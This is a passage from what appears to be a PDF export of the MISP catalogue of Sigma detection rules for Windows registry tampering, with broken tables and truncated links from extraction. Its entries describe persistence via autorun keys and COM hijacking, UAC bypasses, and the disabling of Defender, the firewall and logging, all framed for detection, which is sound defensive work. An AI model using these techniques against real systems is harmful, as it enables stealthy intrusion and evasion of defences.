<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml</a></td>
</tr>
</tbody>
</table>
Potential Persistence Via Excel Add-in - Registry

Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Excel Add-in - Registry"

View relationships graph

Potential Persistence Via Excel Add-in - Registry has relationships with:


Table 8743. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md">https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_per">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_per</a></td>
</tr>
</tbody>
</table>

Potential Persistence Via MyComputer Registry Keys

Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via MyComputer Registry Keys"

Table 8744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/">https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_per">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_per</a></td>
</tr>
</tbody>
</table>

New RUN Key Pointing to Suspicious Folder

Detects suspicious new RUN key element pointing to an executable in a suspicious folder

The tag is: misp-galaxy:sigma-rules="New RUN Key Pointing to Suspicious Folder"

View relationships graph

New RUN Key Pointing to Suspicious Folder has relationships with:
Custom File Open Handler Executes PowerShell

Detects the abuse of custom file open handler, executing powershell

The tag is: `misp-galaxy:sigma-rules="Custom File Open Handler Executes PowerShell"`

View relationships graph

Custom File Open Handler Executes PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Service Binary in Suspicious Folder

Detect the creation of a service with a service binary located in a suspicious directory

The tag is: `misp-galaxy:sigma-rules="Service Binary in Suspicious Folder"`

View relationships graph

Service Binary in Suspicious Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
NET NGenAssemblyUsageLog Registry Key Tamper

Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.

The tag is: misp-galaxy:sigma-rules="NET NGenAssemblyUsageLog Registry Key Tamper"

View relationships graph

NET NGenAssemblyUsageLog Registry Key Tamper has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Common Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: misp-galaxy:sigma-rules="Common Autorun Keys Modification"

View relationships graph

Common Autorun Keys Modification has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Links

https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml

https://persistence-info.github.io/Data/userinitmprlogonscript.html
ETW Logging Disabled For rpcrt4.dll

Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll

The tag is: misp-galaxy:sigma-rules="ETW Logging Disabled For rpcrt4.dll"

View relationships graph

ETW Logging Disabled For rpcrt4.dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 8750. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_rpcrt4_etw_tamper.yml

Potential Persistence Via Scrobj.dll COM Hijacking

Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Scrobj.dll COM Hijacking"

View relationships graph

Potential Persistence Via Scrobj.dll COM Hijacking has relationships with:


Table 8751. Table References

Links
Allow RDP Remote Assistance Feature

Detect enable rdp feature to allow specific user to rdp connect on the targeted machine

The tag is: `misp-galaxy:sigma-rules=“Allow RDP Remote Assistance Feature”`

View relationships graph

Allow RDP Remote Assistance Feature has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8752. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1546.015/T1546.015.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1546.015/T1546.015.md</a></td>
</tr>
</tbody>
</table>

RDP Sensitive Settings Changed

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the ‘fAllowUnsolicited’ or enabling RDP via ‘fDenyTSConnections’...etc

The tag is: `misp-galaxy:sigma-rules=“RDP Sensitive Settings Changed”`

View relationships graph

RDP Sensitive Settings Changed has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`

Table 8753. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1112/T1112.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1112/T1112.md</a></td>
</tr>
<tr>
<td><a href="https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services">https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SagieSec/status/146900161886362194?t=HRf0eA0W1YYzkTSHb-Ky1A&amp;s=03">https://twitter.com/SagieSec/status/146900161886362194?t=HRf0eA0W1YYzkTSHb-Ky1A&amp;s=03</a></td>
</tr>
<tr>
<td><a href="https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html">https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html</a></td>
</tr>
</tbody>
</table>
Add Port Monitor Persistence in Registry

Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.

The tag is: `misp-galaxy:sigma-rules="Add Port Monitor Persistence in Registry"`

View relationships graph

Add Port Monitor Persistence in Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010"` with estimative-language:likelihood-probability="almost-certain"

Table 8754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfc365fee2a9/atomics/T1547.010/T1547.010.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfc365fee2a9/atomics/T1547.010/T1547.010.md</a></td>
</tr>
</tbody>
</table>

Office Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: `misp-galaxy:sigma-rules="Office Autorun Keys Modification"`

View relationships graph

Office Autorun Keys Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8755. Table References

5730
Wow6432Node Classes Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: `misp-galaxy:sigma-rules="Wow6432Node Classes Autorun Keys Modification"`

View relationships graph

Wow6432Node Classes Autorun Keys Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8756. Table References

Registry Hide Function from User

Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)

The tag is: `misp-galaxy:sigma-rules="Registry Hide Function from User"`

View relationships graph

Registry Hide Function from User has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Table 8757. Table References
Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting

Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module.

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting"`

View relationships graph

Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"` with estimative-language:likelihood-probability="almost-certain"

Table 8758. Table References

Links

- https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53
- https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b/
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_load_macro_provider_on_boot.yml

Suspicious Set Value of MSDT in Registry (CVE-2022-30190)

Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.

The tag is: `misp-galaxy:sigma-rules="Suspicious Set Value of MSDT in Registry (CVE-2022-30190)"

View relationships graph
Suspicious Set Value of MSDT in Registry (CVE-2022-30190) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 8759: Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Potential Persistence Via COM Search Order Hijacking

Detects potential COM object hijacking leveraging the COM Search Order

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via COM Search Order Hijacking"

View relationships graph

Potential Persistence Via COM Search Order Hijacking has relationships with:


Table 8760: Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_pe">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_pe</a> rsistence_search_order.yml</td>
</tr>
</tbody>
</table>

UAC Bypass Abusing Winsat Path Parsing - Registry

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

The tag is: misp-galaxy:sigma-rules="UAC Bypass Abusing Winsat Path Parsing - Registry"

View relationships graph

UAC Bypass Abusing Winsat Path Parsing - Registry has relationships with:


Table 8761: Table References
UAC Bypass Using Windows Media Player - Registry

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using Windows Media Player - Registry"

View relationships graph

UAC Bypass Using Windows Media Player - Registry has relationships with:


Table 8762. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_winsat.yml</a></td>
</tr>
</tbody>
</table>

Internet Explorer DisableFirstRunCustomize Enabled

Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.

The tag is: misp-galaxy:sigma-rules="Internet Explorer DisableFirstRunCustomize Enabled"

Table 8763. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/">https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/</a></td>
</tr>
<tr>
<td><a href="https://admx.help/?Category=InternetExplorer&amp;Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise">https://admx.help/?Category=InternetExplorer&amp;Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise</a></td>
</tr>
</tbody>
</table>
Potential Attachment Manager Settings Attachments Tamper

Detects tampering with attachment manager settings policies attachments (See reference for more information)

The tag is: misp-galaxy:sigma-rules="Potential Attachment Manager Settings Attachments Tamper"

Table 8764. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465">https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender Exclusions Added - Registry

Detects the Setting of Windows Defender Exclusions

The tag is: misp-galaxy:sigma-rules="Windows Defender Exclusions Added - Registry"

View relationships graph

Windows Defender Exclusions Added - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8765. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/_nullbind/status/1204923340810543109">https://twitter.com/_nullbind/status/1204923340810543109</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml</a></td>
</tr>
</tbody>
</table>

Change Winevt Event Access Permission Via Registry

Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel

The tag is: misp-galaxy:sigma-rules="Change Winevt Event Access Permission Via Registry"

View relationships graph
Change Winevt Event Access Permission Via Registry has relationships with:


Table 8766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/">https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/">https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/</a></td>
</tr>
</tbody>
</table>

**WinSock2 Autorun Keys Modification**

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy: sigma-rules="WinSock2 Autorun Keys Modification"*

View relationships graph

WinSock2 Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 8767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d">https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d</a></td>
</tr>
</tbody>
</table>

**Potential PSFactoryBuffer COM Hijacking**

Detects changes to the PSFactory COM InProcServer32 registry. This technique was used by RomCom to create persistence storing a malicious DLL.

The tag is: *misp-galaxy: sigma-rules="Potential PSFactoryBuffer COM Hijacking"*

View relationships graph
Potential PSFactoryBuffer COM Hijacking has relationships with:


Table 8768. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection">https://www.virustotal.com/gui/file/6d3ab9e729bb03ae8ae3fcd824474c5052a165de6cb4c27334969a542c7b261d/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_psfactorybuffer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_psfactorybuffer.yml</a></td>
</tr>
</tbody>
</table>

Winget Admin Settings Modification

Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks

The tag is: misp-galaxy:sigma-rules="Winget Admin Settings Modification"

Table 8769. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/nasbench/Misc-Research/tree/b9596e8109dcd16b3c353f316678927e507a5b8d/LOLBINs/Winget">https://github.com/nasbench/Misc-Research/tree/b9596e8109dcd16b3c353f316678927e507a5b8d/LOLBINs/Winget</a></td>
</tr>
<tr>
<td><a href="https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13">https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13</a></td>
</tr>
</tbody>
</table>

Disabled Windows Defender Eventlog

Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections

The tag is: misp-galaxy:sigma-rules="Disabled Windows Defender Eventlog"

View relationships graph

Disabled Windows Defender Eventlog has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
Enable Local Manifest Installation With Winget

Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.

The tag is: misp-galaxy:sigma-rules="Enable Local Manifest Installation With Winget"

Disable Windows Firewall by Registry

Detect set EnableFirewall to 0 to disable the Windows firewall

The tag is: misp-galaxy:sigma-rules="Disable Windows Firewall by Registry"

Potential Persistence Via Custom Protocol Handler

Detects potential persistence activity via the registering of a new custom protocol handlers. While legitimate applications register protocol handlers often times during installation. And attacker can
abuse this by setting a custom handler to be used as a persistence mechanism.

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Custom Protocol Handler"`

View relationships graph

Potential Persistence Via Custom Protocol Handler has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Table 8773. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/">https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_custom_protocol_handler.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_custom_protocol_handler.yml</a></td>
</tr>
</tbody>
</table>

**IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols**

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

The tag is: `misp-galaxy:sigma-rules="IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols"`

Table 8774. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content">https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JAMESWT_MHT/status/1699042827261391247">https://twitter.com/JAMESWT_MHT/status/1699042827261391247</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/M_haggis/status/1699056847154725107">https://twitter.com/M_haggis/status/1699056847154725107</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_security_zone_protocol_defaults_downgrade.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_security_zone_protocol_defaults_downgrade.yml</a></td>
</tr>
</tbody>
</table>

**Blue Mockingbird - Registry**

Attempts to detect system changes made by Blue Mockingbird

The tag is: `misp-galaxy:sigma-rules="Blue Mockingbird - Registry"`

View relationships graph
Blue Mockingbird - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8775. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/blue-mockingbird-cryptominer/">https://redcanary.com/blog/blue-mockingbird-cryptominer/</a></td>
</tr>
</tbody>
</table>

**Old TLS1.0/TLS1.1 Protocol Version Enabled**

Detects applications or users re-enabling old TLS versions by setting the "Enabled" value to "1" for the "Protocols" registry key.

The tag is: misp-galaxy:sigma-rules="Old TLS1.0/TLS1.1 Protocol Version Enabled"

<table>
<thead>
<tr>
<th>Table 8776. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_tls_protocol_old_version_enabled.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_tls_protocol_old_version_enabled.yml</a></td>
</tr>
</tbody>
</table>

**Service Binary in Uncommon Folder**

Detect the creation of a service with a service binary located in a uncommon directory

The tag is: misp-galaxy:sigma-rules="Service Binary in Uncommon Folder"

<table>
<thead>
<tr>
<th>View relationships graph</th>
</tr>
</thead>
</table>

Service Binary in Uncommon Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8777. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
</tbody>
</table>

5740
Changing RDP Port to Non Standard Number

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).

The tag is: `misp-galaxy:sigma-rules="Changing RDP Port to Non Standard Number"`

View relationships graph

Changing RDP Port to Non Standard Number has relationships with:

- **related-to:** `misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010"` with estimative-language:likelihood-probability="almost-certain"

Table 8778. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdff3742b3f365f3ee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1--rdp-to-domaincontroller">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdff3742b3f365f3ee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1--rdp-to-domaincontroller</a></td>
</tr>
</tbody>
</table>

Disable Windows Defender Functionalities Via Registry Keys

Detects when attackers or tools disable Windows Defender functionalities via the Windows registry

The tag is: `misp-galaxy:sigma-rules="Disable Windows Defender Functionalities Via Registry Keys"

View relationships graph

Disable Windows Defender Functionalities Via Registry Keys has relationships with:

- **related-to:** `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8779. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/anadr/7465a9fde63d4134136949f14c21105">https://gist.github.com/anadr/7465a9fde63d4134136949f14c21105</a></td>
</tr>
</tbody>
</table>
Potential Persistence Via Outlook Home Page

Detects potential persistence activity via outlook home pages.

The tag is: *misp-galaxy:sigma-rules*="Potential Persistence Via Outlook Home Page"

**View relationships graph**

Potential Persistence Via Outlook Home Page has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8780. Table References

**Links**

- https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9d5bed9bd04?ui=en-us&rs=en-us&ad=us
- https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70

Suspicious Path In Keyboard Layout IME File Registry Value

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.
The tag is: `misp-galaxy:sigma-rules="Suspicious Path In Keyboard Layout IME File Registry Value"`

**View relationships graph**

Suspicious Path In Keyboard Layout IME File Registry Value has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8781. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**New Root or CA or AuthRoot Certificate to Store**

Detects the addition of new root, CA or AuthRoot certificates to the Windows registry

The tag is: `misp-galaxy:sigma-rules="New Root or CA or AuthRoot Certificate to Store"`

**View relationships graph**

New Root or CA or AuthRoot Certificate to Store has relationships with:


**Table 8782. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6fddd3742bfef365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6fddd3742bfef365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificate.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificate.yml</a></td>
</tr>
</tbody>
</table>

**New BgInfo.EXE Custom DB Path Registry Configuration**

Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.

The tag is: `misp-galaxy:sigma-rules="New BgInfo.EXE Custom DB Path Registry Configuration"`
UAC Bypass via Sdclt

Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)

The tag is: misp-galaxy:sigma-rules="UAC Bypass via Sdclt"

Outlook Macro Execution Without Warning Setting Enabled

Detects the modification of Outlook security setting to allow unprompted execution of macros.

The tag is: misp-galaxy:sigma-rules="Outlook Macro Execution Without Warning Setting Enabled"
**Trust Access Disable For VBApplications**

Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.

The tag is: `misp-galaxy:sigma-rules="Trust Access Disable For VBApplications"`

**View relationships graph**

Trust Access Disable For VBApplications has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

**Persistence Via Hhctrl.ocx**

